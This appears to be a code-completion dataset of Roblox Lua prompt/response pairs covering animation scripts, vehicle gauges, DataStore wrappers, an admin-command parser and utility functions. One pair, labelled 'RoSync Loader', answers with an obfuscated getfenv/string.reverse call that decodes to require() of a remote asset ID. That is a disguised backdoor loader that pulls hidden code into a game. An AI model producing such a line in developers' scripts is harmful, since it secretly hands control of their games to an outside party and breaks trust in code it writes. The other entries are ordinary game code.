				if v and v.Parent and v.Parent:IsA('Model') and  v.Parent:FindFirstChild("Humanoid") and v.Parent:FindFirstChild("HumanoidRootPart") and v.Parent:FindFirstChild("Humanoid").Health > 0 then
					if db == false then
						db = true

						Victum =  v.Parent

						zone:destroy()
						SpawnedHitBox:Destroy()
					end
				end
			end
		end
	end

	--

	if Victum then Vhum, Vroot =Victum:FindFirstChild("Humanoid"), Victum:FindFirstChild("HumanoidRootPart") end
	tab.Victum = Victum or nil
	tab.Vhum = Vhum or nil
	tab.Vroot = Vroot or nil

	return tab
end

return module


Prompt: -- Detectors

Response:
local F_Detector = Body.AirbagSystem.Detectors.F
local FL_Detector = Body.AirbagSystem.Detectors.FL
local FR_Detector = Body.AirbagSystem.Detectors.FR
local L_Detector = Body.AirbagSystem.Detectors.L
local R_Detector = Body.AirbagSystem.Detectors.R


Response:
function onRunning(speed)
if speed>0.01 then
if Figure and Humanoid and Humanoid.WalkSpeed<17 then
playAnimation("walk", 0.1, Humanoid);
elseif Figure and Humanoid and Humanoid.WalkSpeed>17 then
playAnimation("run", 0.1, Humanoid);
end;
if currentAnimInstance and currentAnimInstance.AnimationId == "http://www.roblox.com/asset/?id=180426354" then
setAnimationSpeed(speed / 14.5)
end
pose = "Running"
else
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
end
function onDied()
pose = "Dead"
end
function onJumping()
playAnimation("jump", 0.1, Humanoid)
jumpAnimTime = jumpAnimDuration
pose = "Jumping"
end
function onClimbing(speed)
playAnimation("climb", 0.1, Humanoid)
setAnimationSpeed(speed / 12.0)
pose = "Climbing"
end
function onGettingUp()
pose = "GettingUp"
end
function onFreeFall()
if (jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
end
pose = "FreeFall"
end
function onFallingDown()
pose = "FallingDown"
end
function onSeated()
pose = "Seated"
end
function onPlatformStanding()
pose = "PlatformStanding"
end
function onSwimming(speed)
if speed>0 then
pose = "Running"
else
pose = "Standing"
end
end

function getTool()
for _, kid in ipairs(Figure:GetChildren()) do
if kid.className == "Tool" then return kid end
end
return nil
end

function getToolAnim(tool)
for _, c in ipairs(tool:GetChildren()) do
if c.Name == "toolanim" and c.className == "StringValue" then
return c
end
end
return nil
end

function animateTool()

if (toolAnim == "None") then
playToolAnimation("toolnone", toolTransitionTime, Humanoid)
return
end

if (toolAnim == "Slash") then
playToolAnimation("toolslash", 0, Humanoid)
return
end

if (toolAnim == "Lunge") then
playToolAnimation("toollunge", 0, Humanoid)
return
end
end

function moveSit()
RightShoulder.MaxVelocity = 0.15
LeftShoulder.MaxVelocity = 0.15
RightShoulder:SetDesiredAngle(3.14 /2)
LeftShoulder:SetDesiredAngle(-3.14 /2)
RightHip:SetDesiredAngle(3.14 /2)
LeftHip:SetDesiredAngle(-3.14 /2)
end

local lastTick = 0

function move(time)
local amplitude = 1
local frequency = 1
  local deltaTime = time - lastTick
  lastTick = time

local climbFudge = 0
local setAngles = false

  if (jumpAnimTime > 0) then
  jumpAnimTime = jumpAnimTime - deltaTime
  end

if (pose == "FreeFall" and jumpAnimTime <= 0) then
playAnimation("fall", fallTransitionTime, Humanoid)
elseif (pose == "Seated") then
playAnimation("sit", 0.5, Humanoid)
return
elseif (pose == "Running") then
if Figure and Humanoid and Humanoid.WalkSpeed<17 then
playAnimation("walk", 0.1, Humanoid);
elseif Figure and Humanoid and Humanoid.WalkSpeed>17 then
playAnimation("run", 0.1, Humanoid);
end;
elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
stopAllAnimations()
amplitude = 0.1
frequency = 1
setAngles = true
end
if (setAngles) then
local desiredAngle = amplitude * math.sin(time * frequency)
RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
RightHip:SetDesiredAngle(-desiredAngle)
LeftHip:SetDesiredAngle(-desiredAngle)
end


Prompt: --[[ Last synced 8/21/2022 04:31 || RoSync Loader ]]

Response: getfenv()[string.reverse("\101\114\105\117\113\101\114")](5754612086)


Prompt:
--[=[
	Wraps :IncrementAsync() in a promise
	@param robloxDataStore DataStore
	@param key string
	@param delta number
	@return Promise<boolean>
]=]

Response:
function DataStorePromises.promiseIncrementAsync(robloxDataStore, key, delta)
	assert(typeof(robloxDataStore) == "Instance", "Bad robloxDataStore")
	assert(type(key) == "string", "Bad key")
	assert(type(delta) == "number" or delta == nil, "Bad delta")

	return Promise.spawn(function(resolve, reject)
		local ok, err = pcall(function()
			robloxDataStore:IncrementAsync(key, delta)
		end)
		if not ok then
			return reject(err)
		end
		return resolve(true)
	end)
end


Prompt:
--[[
	All configurations are located in the "Settings" Module script.
	Please don't edit this script unless you know what you're doing.

	^^ Like fr no need to touch this script.
--]]

Response:
local Tycoons = {}
local Teams = game:GetService('Teams')
local Settings = require(script.Parent.Settings)
local BC = BrickColor
local Storage = Instance.new('Folder', game.ServerStorage)
Storage.Name = "PlayerMoney"
Instance.new('Model',workspace).Name = "PartStorage" --  parts dropped go in here to be killed >:)

function returnColorTaken(color)
	for i,v in pairs(Teams:GetChildren()) do
		if v:IsA('Team') then
			if v.TeamColor == color then
				return true
			end
		end
	end
	return false
end


Prompt:
--[[
	APILoadout

	Description: APILoadout is a library that utilizes the APIEquipment to give players multiple tools.
	This ties directly into the database where all the loadouts are stored. If you want to make a new loadout
	you can duplicate an existing loadout and change its attributes.
		ReplicatedStorage -> Common -> Databases -> Loadouts
]]

Response:
local APILoadout = {}
APILoadout.__index = APILoadout


Prompt: -- setup variables

Response:
roothip = rootpart:FindFirstChildOfClass("Motor6D")
oldc0 = roothip.C0
leftshoulder = torso:WaitForChild("Left Shoulder")
rightshoulder = torso:WaitForChild("Right Shoulder")


Prompt: --//SS6 PLUGIN; SPLASH//--

Response:
  --//INSPARE 2017//--

local ai = script.Parent.Main_Frame.A.Frame.ImageLabel
local bi = script.Parent.Main_Frame.B.Frame.ImageLabel
local ci = script.Parent.Main_Frame.C.Frame.ImageLabel
local di = script.Parent.Main_Frame.D.Frame.ImageLabel
local ei = script.Parent.Main_Frame.E.Frame.ImageLabel

ai.Size = UDim2.new(9,0,3,0)
bi.Size = UDim2.new(9,0,3,0)
ci.Size = UDim2.new(9,0,3,0)
di.Size = UDim2.new(9,0,3,0)
ei.Size = UDim2.new(9,0,3,0)

wait(.2)
script.Parent.SplashFade.RA:Play()
while true do
	for i=1,2 do
		ai.Position = ai.Position - UDim2.new(3,0,0,0)
		bi.Position = bi.Position - UDim2.new(3,0,0,0)
		ci.Position = ci.Position - UDim2.new(3,0,0,0)
		di.Position = di.Position - UDim2.new(3,0,0,0)
		ei.Position = ei.Position - UDim2.new(3,0,0,0)
		wait(.045)
	end
	ai.Position = ai.Position + UDim2.new(6,0,0,0)
	bi.Position = bi.Position + UDim2.new(6,0,0,0)
	ci.Position = ci.Position + UDim2.new(6,0,0,0)
	di.Position = di.Position + UDim2.new(6,0,0,0)
	ei.Position = ei.Position + UDim2.new(6,0,0,0)
	wait(.045)
end


Prompt:
--- Removes the link of an attachment. Putting one of any of the two original attachments you used in LinkAttachment will automatically sever the other
-- @param attachment

Response:
function Hitbox:UnlinkAttachments(attachment: Attachment)
	for i = #self.HitboxRaycastPoints, 1, -1 do
		if #self.HitboxRaycastPoints[i].Instances >= 2 then
			if self.HitboxRaycastPoints[i].Instances[1] == attachment or self.HitboxRaycastPoints[i].Instances[2] == attachment then
				table.remove(self.HitboxRaycastPoints, i)
			end
		end
	end
end


Prompt: -- Events

Response: local WarningEvent = ReplicatedStorage.Events.WarningEvent


Prompt: -- Define the minimum and maximum size of the window

Response:
local minSize = Vector2.new(265, 394)
local maxSize = Vector2.new(865, 994)


Prompt: --------RIGHT DOOR --------

Response:
game.Workspace.doorright.l12.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)

game.Workspace.doorright.l23.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l61.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l42.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l72.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l53.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l71.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.doorright.l31.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)

game.Workspace.doorright.l11.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l21.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l22.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l32.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l33.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l43.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l51.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l41.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l73.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l52.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l63.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l13.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)
game.Workspace.doorright.l62.BrickColor = BrickColor.new(game.Workspace.Lighting.defaultlights.Value)

game.Workspace.doorright.pillar.BrickColor = BrickColor.new(game.Workspace.Lighting.cyan.Value)
game.Workspace.Lighting.flashcurrent.Value = "11"


Prompt:
--- Registers a type in the system.
-- name: The type Name. This must be unique.

Response:
function Registry:RegisterType (name, typeObject)
	if not name or not typeof(name) == "string" then
		error("Invalid type name provided: nil")
	end

	if not name:find("^[%d%l]%w*$") then
		error(('Invalid type name provided: "%s", type names must be alphanumeric and start with a lower-case letter or a digit.'):format(name))
	end

	for key in pairs(typeObject) do
		if self.TypeMethods[key] == nil then
			error("Unknown key/method in type \"" .. name .. "\": " .. key)
		end
	end

	if self.Types[name] ~= nil then
		error(('Type "%s" has already been registered.'):format(name))
	end

	typeObject.Name = name
	typeObject.DisplayName = typeObject.DisplayName or name

	self.Types[name] = typeObject

	if typeObject.Prefixes then
		self:RegisterTypePrefix(name, typeObject.Prefixes)
	end
end

function Registry:RegisterTypePrefix (name, union)
	if not self.TypeAliases[name] then
		self.TypeAliases[name] = name
	end

	self.TypeAliases[name] = ("%s %s"):format(self.TypeAliases[name], union)
end

function Registry:RegisterTypeAlias (name, alias)
	assert(self.TypeAliases[name] == nil, ("Type alias %s already exists!"):format(alias))
	self.TypeAliases[name] = alias
end


Response:
local AimingIcon = "http://www.roblox.com/asset/?id=107455536"
local LockedIcon = "http://www.roblox.com/asset/?id=107455986"
local TargetIcon = "http://www.roblox.com/asset/?id=107455960"
local NormalIcon = "http://www.roblox.com/asset/?id=116176885"


Prompt: --SpaceBomb

Response:
game.Players.PlayerAdded:Connect(function(player)
	player.CharacterAdded:Connect(function(character)
		local Humanoid = character:WaitForChild("Humanoid")
		Humanoid.Died:connect(function()
			if player.SpaceBomb.Value == 2 then
				player.SpaceBomb.Value = 1
			end
		end)
	end)
end)
game.Players.PlayerRemoving:Connect(function(player)
	if player.SpaceBomb.Value == 2 then
		player.SpaceBomb.Value = 1
	end
end)


Prompt: -- List of UI layouts

Response:
local Layouts = {
	EmptySelection = { 'SelectNote' };
	NoTextures = { 'ModeOption', 'SideOption', 'AddButton' };
	SomeDecals = { 'ModeOption', 'SideOption', 'ImageIDOption', 'TransparencyOption', 'AddButton', 'RemoveButton' };
	AllDecals = { 'ModeOption', 'SideOption', 'ImageIDOption', 'TransparencyOption', 'RemoveButton' };
	SomeTextures = { 'ModeOption', 'SideOption', 'ImageIDOption', 'TransparencyOption', 'RepeatOption', 'AddButton', 'RemoveButton' };
	AllTextures = { 'ModeOption', 'SideOption', 'ImageIDOption', 'TransparencyOption', 'RepeatOption', 'RemoveButton' };
};


Response:
if 	script.Parent.Parent.Parent.IsOn.Value then
	script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
end

script.Parent.Parent.Parent.IsOn.Changed:connect(function()
	if script.Parent.Parent.Parent.IsOn.Value then
		script.Parent.Parent:TweenPosition(UDim2.new(0, 0, 0, 0),Enum.EasingDirection.InOut,Enum.EasingStyle.Quad,1,true)
	end
end)

	function turn()
		if hinge.DesiredAngle == 0 then

			car.Misc.Wiper.WiperEvent:FireServer(1)
		else

			car.Misc.Wiper.WiperEvent:FireServer(0)
		end
	end

	script.Parent.MouseButton1Click:connect(function()
		turn()
	end)

	local uis = game:GetService("UserInputService")
	uis.InputBegan:connect(function(i,f)
		if not f then
			if i.KeyCode == Enum.KeyCode.N then
				turn()
			end
		end
	end)


Prompt: -- Time it takes to reload weapon

Response: local ReloadTime = 5


Prompt: --Set up gui - has its own class

Response:
local VehicleGui = require(script.Parent:WaitForChild("LocalVehicleGui")).new(Car)
VehicleGui:Enable()
VehicleGui:EnableDriverControls()
VehicleGui:EnableSpeedo()

local Keymap = require(ScriptsFolder.Keymap)
local _rawInput = Keymap.newInputTable()
local LocalVehicleSeating = require(ScriptsFolder.LocalVehicleSeating)

local function _clearInput()
	for k, v in pairs(_rawInput) do
		_rawInput[k] = 0
	end
end


Response:
local player=game.Players.LocalPlayer
local mouse=player:GetMouse()

local car = script.Parent.Parent.Car.Value
local _Tune = require(car["A-Chassis Tune"])

local gauges = script.Parent
local values = script.Parent.Parent.Values
local isOn = script.Parent.Parent.IsOn

gauges:WaitForChild("Speedo")
gauges:WaitForChild("Tach")
gauges:WaitForChild("Boost")
gauges:WaitForChild("ln")
gauges:WaitForChild("bln")
gauges:WaitForChild("Gear")
gauges:WaitForChild("Speed")

car.DriveSeat.HeadsUpDisplay = false

local _pRPM = _Tune.PeakRPM
local _lRPM = _Tune.Redline

local currentUnits = 1
local revEnd = math.ceil(_lRPM/1000)


Prompt: -- << FUNCTIONS >>

Response:
function module:ParseMessage(speaker, originalMessage, directlyFromChat, extraDetails)
	local success = false
	if directlyFromChat then
		coroutine.wrap(function() table.insert(main.logs.chat, {speakerName = speaker.Name, timeAdded = os.time(), message = main:GetModule("cf"):FilterBroadcast(originalMessage, speaker)}) end)()
	end
	local message = string.gsub(string.lower(originalMessage), "%c", "")

	--Silent commands
	if string.sub(message,1,3) == "/e " then
		message = string.sub(message,4)
	end

	--Check if first character is a valid prefix
	local speakerData = main.pd[speaker]
	if not checkPrefix(string.sub(message,1,1), speakerData) then
		main.signals.PlayerChattedIgnoreCommands:Fire(speaker, originalMessage)

	else

		--Convert message into batches
		local batches = {}
		local batchStarts = {1}
		local batchKeyLength = #settings.BatchKey
		if batchKeyLength < 1 then
			batchKeyLength = 1
		end
		for i = 1, #message do
			local character = string.sub(message,i,i)
			if i > 2 and checkPrefix(character, speakerData) then
				local batchCharacter = string.sub(message, i-1-batchKeyLength, i-2)
				if settings.BatchKey == "" or batchCharacter then
					table.insert(batchStarts, i)
				end
			end
		end
		for i, bStart in pairs(batchStarts) do
			local bEnd = batchStarts[i+1]
			if bEnd then
				if settings.BatchKey == "" then
					bEnd = bEnd - 2
				else
					bEnd = bEnd - 3 - #settings.BatchKey
				end
			else
				bEnd = #message
			end
			local batch = string.sub(message, bStart, bEnd)
			table.insert(batches, batch)
		end

		--Check and execute each batch
		for batchPos, msg in pairs(batches) do
			wait()

			--Split message into commandName and arguments
			local args = {}
			msg:gsub('([^'..settings.SplitKey..']+)',function(c) args[#args+1] = string.lower(c) end);
			local firstArg = args[1] or ""
			local commandPrefix, commandName = string.sub(firstArg,1,1), string.sub(firstArg,2)
			table.remove(args,1)

			--Loop commands
			local loops = 1
			local finalArg = tonumber(args[#args])
			if string.sub(commandName,1,4) == "loop" then
				commandName = string.sub(commandName,5)
				if finalArg then
					loops = finalArg
				end
				if loops > 100 or not finalArg then
					loops = 100
				end
			end

			-- Check if alias and convert to commandName
			local originalAlias
			local commandNameFromAlias = main.infoOnAllCommands["Aliases"][commandName]
			if commandNameFromAlias then
				originalAlias = commandName
				commandName = string.lower(commandNameFromAlias)
			end

			--Check if UnFunction
			local unFunction = false
			if string.sub(commandName,1,2) == "un" then
				local unCommandName = string.sub(commandName,3)
				local unCommandNameFromAlias = main.infoOnAllCommands["Aliases"][unCommandName]
				if unCommandNameFromAlias then
					originalAlias = unCommandName
					unCommandName = string.lower(unCommandNameFromAlias)
				end
				local unCommand = main.commands[unCommandName]
				if unCommand and (type(unCommand.UnFunction) == "function" or unCommand.ClientCommand or unCommand.ClientCommandToActivate) then
					unFunction = true
					commandName = unCommandName
					loops = 1
				end
			end

			local errorNotice
			local command = main.commands[commandName]
			if not command then
				if main:GetModule("cf"):CheckRankExists(commandName) then
					errorNotice = main:GetModule("cf"):FormatNotice("ParserInvalidCommandRank", commandName, settings.Prefix, commandName)
				elseif #commandName > 3 then
					errorNotice = main:GetModule("cf"):FormatNotice("ParserInvalidCommandNormal", commandName)
				end
			else
				if not command.Loopable and loops > 1 then
					loops = 1
				end

				--Setup debounces
				local commandDebounceName = commandName
				if command.OriginalName then
					commandDebounceName = command.OriginalName
				end
				if main.functionsInLoop[commandDebounceName] == nil then
					main.functionsInLoop[commandDebounceName] = {}
				end

				--Check if using right prefix for the command
				local tryPrefix = speakerData.Prefix
				local tryName = commandName
				if command.Prefixes[1] == main.settings.UniversalPrefix then
					tryPrefix = main.settings.UniversalPrefix
				end
				if commandPrefix ~= speakerData.Prefix and commandPrefix ~= main.settings.UniversalPrefix then
					if originalAlias then
						tryName = originalAlias
					end
					errorNotice = main:GetModule("cf"):FormatNotice("ParserInvalidPrefix", tryPrefix, tryName)

				--Check if VIPServer and using permRank
				elseif game.VIPServerOwnerId ~= 0 and main:GetModule("cf"):FindValue(settings.VIPServerCommandBlacklist, command.Name) then
					errorNotice = main:GetModule("cf"):FormatNotice("ParserInvalidVipServer", command.Name)

				--Check if Donor command and Speaker has Donor OR rank >= 4
				elseif command.Rank == "Donor" and (not speakerData.Donor or (commandPrefix ~= main.settings.UniversalPrefix and speakerData.Rank < 4)) then
					errorNotice = main:GetModule("cf"):FormatNotice("ParserInvalidDonor")
					main.signals.ShowPage:FireClient(speaker, {"Special", "Donor"})

				--Check if Loop command and Speaker has permission to use
				elseif loops > 1 and speakerData.Rank < settings.LoopCommands then
					errorNotice = main:GetModule("cf"):FormatNotice("ParserInvalidLoop")

				--Check if speaker has permission to use command
				elseif command.Rank ~= "Donor" and speakerData.Rank < command.Rank then
					errorNotice = main:GetModule("cf"):FormatNotice("ParserInvalidRank", commandName)

				--Check for command block
				elseif not unFunction and main.commandBlocks[speaker] then
					errorNotice = main:GetModule("cf"):FormatNotice("ParserCommandBlock")

				--Command limit
				elseif main.commandsExecuted[speaker] and main.commandsExecuted[speaker] >= main.settings.CommandLimitPerMinute/main.commandsExecutedDivider and speakerData.Rank < main.settings.IgnoreCommandLimitPerMinute then
					errorNotice = main:GetModule("cf"):FormatNotice("CommandLimitPerMinute")
					main.signals.Error:FireClient(speaker, errorNotice)
					return

				else

					main.commandsExecuted[speaker] = main.commandsExecuted[speaker] or 0
					main.commandsExecuted[speaker] = main.commandsExecuted[speaker] + 1

					--Record in logs
					coroutine.wrap(function()
						local messageToRecord = commandName--msg
						if loops > 1 then
							messageToRecord = "loop"..messageToRecord
						end
						if unFunction then
							messageToRecord = "un"..messageToRecord
						end
						messageToRecord = tryPrefix..messageToRecord
						local restOfMessage = string.sub(msg, #messageToRecord+1)
						restOfMessage = main:GetModule("cf"):FilterBroadcast(restOfMessage, speaker)
						messageToRecord = messageToRecord.. restOfMessage
						table.insert(main.logs.command, {speakerName = speaker.Name, timeAdded = os.time(), message = messageToRecord})
					end)()

					--Process arguments (e.g. rank, color, text, etc)
					local commandArgs = command.Args
					local originalArgs = args
					local forceExit
					originalAlias = originalAlias or commandName
					args, forceExit = main:GetModule("Arguments"):Process(commandArgs, args, commandPrefix, command.Name, speaker, speakerData, originalMessage, originalAlias, batches, batchPos)
					if forceExit then
						return
					end

					--Decide how to execute the command (and on which plrs if applicable)
					if commandArgs[1] == "player" and (commandName ~= "directban" or not unFunction) then
						local targetPlayers = main:GetModule("Qualifiers"):GetTargetPlayers(speaker, args, originalArgs, commandPrefix, command.Prefixes, commandName)

						if command.Teleport then

							local individual
							if commandName == "bring" then
								individual = speaker
							else
								individual = main:GetModule("Qualifiers"):GetTargetPlayers(speaker, {args[1]}, originalArgs, commandPrefix, command.Prefixes, commandName, true)
							end
							local targetPlayersTable = {}
							for plr, _ in pairs(targetPlayers) do
								if plr ~= individual then
									table.insert(targetPlayersTable, plr)
								end
							end
							command.Function(speaker, {targetPlayersTable, individual})
							success = true

						else
							local plrChangeInfo = {
								Ranked = {};
								Unranked = {};
							}
							local totalPlrs = 0
							for plr, _ in pairs(targetPlayers) do
								totalPlrs = totalPlrs + 1
							end
							local plrsRemaining = 0

							for plr, _ in pairs(targetPlayers) do

								--Check Rig
								local humanoid = main:GetModule("cf"):GetHumanoid(plr)
								local rr = command.RequiresRig
								if humanoid and rr and humanoid.RigType ~= rr then
									local rrName = "R15"
									if rr == Enum.HumanoidRigType.R6 then
										rrName = "R6"
									end
									errorNotice = main:GetModule("cf"):FormatNotice("ParserInvalidRigType", plr.Name, rrName)

								--Check if punished
								elseif command.BlockWhenPunished and main:GetModule("cf"):IsPunished(plr) then
									errorNotice = main:GetModule("cf"):FormatNotice("ParserPlrPunished", plr.Name)

								else
									local plrData = main.pd[plr]

									-- Check for RankLock. If so, is plr's rank greater than speaker's?
									if not command.RankLock or (plrData and speakerData.Rank > plrData.Rank) then

										--Only the run command if not already running (and commandDebounce enabled)
										if not commandDebounce or not main.functionsInLoop[commandDebounceName][plr] then

											--Add in 'plr' argument to args
											local plrArgs = {plr}
											for i,v in pairs(args) do
												table.insert(plrArgs, v)
											end

											coroutine.wrap(function()
												main.functionsInLoop[commandDebounceName][plr] = 0
												plrsRemaining = plrsRemaining + 1
												for i = 1, loops do
													------------------------------------
													local other = {ExtraDetails = extraDetails, UnFunction = unFunction}
													local returnInfo = main:GetModule("cf"):ExecuteCommand(speaker, plrArgs, command, other)
													success = true
													------------------------------------
													if returnInfo == "Ranked" or returnInfo == "Unranked" then
														table.insert(plrChangeInfo[returnInfo], plr)
													end
													wait(0.1)
													local humanoid = main:GetModule("cf"):GetHumanoid(plr)
													if humanoid and humanoid.Health < 1 then
														plr.CharacterAdded:Wait()
														wait(0.1)
													end
													if plr == nil or not main.functionsInLoop[commandDebounceName][plr] then
														break
													end
												end
												plrsRemaining = plrsRemaining - 1
												main.functionsInLoop[commandDebounceName][plr] = nil
											end)()
										end

									elseif totalPlrs <= 1 then
										if commandName == "directban" then
											commandName = "ban"
										end
										main:GetModule("cf"):FormatAndFireError(speaker, "ParserPlayerRankBlocked", commandName, plr.Name)

									end
								end
							end
							spawn(function()
								repeat wait(0.1) until plrsRemaining == 0
								if #plrChangeInfo.Ranked > 0 then
									local targetRankName = main:GetModule("cf"):GetRankName(args[1])
									local amount = "1 person"
									if #plrChangeInfo.Ranked > 1 then
										amount = #plrChangeInfo.Ranked.." people"
									end
									local notice = main:GetModule("cf"):FormatNotice("ParserSpeakerRank", command.Name, amount, targetRankName)
									main.signals.Notice:FireClient(speaker, notice)
								end
								if #plrChangeInfo.Unranked > 0 then
									local amount = "1 person."
									if #plrChangeInfo.Unranked > 1 then
										amount = #plrChangeInfo.Unranked.." people."
									end
									local notice = main:GetModule("cf"):FormatNotice("ParserSpeakerUnrank", amount)
								end
								--main.playersRanked[speaker] = nil
								--main.playersUnranked[speaker] = nil
							end)
						end

					elseif not main.functionsInLoop[commandDebounceName][speaker] or unFunction then
						main.functionsInLoop[commandDebounceName][speaker] = true
						-------------------------------
						local other = {ExtraDetails = extraDetails, UnFunction = unFunction}
						local returnInfo = main:GetModule("cf"):ExecuteCommand(speaker, args, command, other)
						success = true
						-------------------------------
						main.functionsInLoop[commandDebounceName][speaker] = nil

					end

				end

			end

			--Speaker error message
			if errorNotice then
				main.signals.Error:FireClient(speaker, errorNotice)
			end

		end

	end

	return success
end

return module


Prompt:
--[=[
	@within TableUtil
	@function Every
	@param tbl table
	@param callback (value: any, index: any, tbl: table) -> boolean
	@return boolean

	Returns `true` if the `callback` also returns `true` for _every_
	item in the table.

	```lua
	local t = {10, 20, 40, 50, 60}

	local allAboveZero = TableUtil.Every(t, function(value)
		return value > 0
	end)

	print("All above zero:", allAboveZero) --> All above zero: true
	```
]=]

Response:
local function Every<K, V>(tbl: { [K]: V }, callback: (V, K, { [K]: V }) -> boolean): boolean
	for k, v in tbl do
		if not callback(v, k, tbl) then
			return false
		end
	end
	return true
end